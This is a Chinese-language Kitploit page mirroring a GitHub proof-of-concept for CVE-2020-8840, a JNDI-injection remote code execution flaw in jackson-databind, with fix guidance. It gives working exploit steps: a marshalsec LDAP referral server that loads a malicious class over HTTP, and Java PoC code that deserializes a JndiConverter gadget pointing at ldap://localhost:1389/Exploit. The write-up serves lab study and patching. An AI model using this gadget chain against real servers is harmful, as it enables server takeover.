Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-8840 — CVE-2020-8840的PoC利用:JNDI注入导致FasterXML jackson-databind中的远程代码执行。包括环境设置、利用链和修复指南。 | Kitploit
工具/GitHubGitHub/fairyming/cve-2020-8840
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubfairyming/cve-2020-8840

CVE-2020-8840

CVE-2020-8840的PoC利用:JNDI注入导致FasterXML jackson-databind中的远程代码执行。包括环境设置、利用链和修复指南。

查看仓库
37716年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-8840:FasterXML/jackson-databind 远程代码执行漏洞

0x00 简介

    jackson-databind 是隶属 FasterXML 项目组下的JSON处理库。

0x01 漏洞概述

    2月19日,NVD发布安全通告披露了jackson-databind由JNDI注入导致的远程代码执行漏洞(CVE-2020-8840),CVSS评分为9.8 。受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,攻击成功可获得服务器的控制权限(Web服务等级)。

0x02 影响版本

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

0x03 环境搭建

  • jdk版本:1.81 【使用ldap和rmi配合JNDI注入对对jdk版本有一定的要求。通过下图,我们可以清楚得知Oracle对其的修复时间。

20190606014739_69118.jpg

1、在web服务器目录放上已经编译好的恶意类 WX20200223-135435@2x.png 这边使用simplehttp搭建web服务

root@kitploit:~
python -m SimpleHTTPServer 8080

image.png

2、启动ldap服务 这边使用的是marshalsec。github链接:https://github.com/mbechler/marshalsec

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

image.png

3、建立一个java项目,导入存在漏洞版本的jar包 WX20200223-135855@2x.png

0x04 漏洞利用

  • 整个漏洞利用链
root@kitploit:~
poc --> ldap --> http
  • poc
root@kitploit:~
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
  • 直接执行poc,通过ldap加载web服务器上的恶意类,导致远程代码执行

WX20200223-140159@2x.png

0x05 修复方式

1、升级 jackson-databind 至2.9.10.3、2.8.11.5、2.10.x 2、排查项目中是否使用 xbean-reflect。该次漏洞的核心原因是xbean-reflect 中存在特殊的利用链允许用户触发 JNDI 远程类加载操作。将xbean-reflect移除可以缓解漏洞所带来的影响。

参考链接:

https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee

https://github.com/jas502n/CVE-2020-8840

下载工具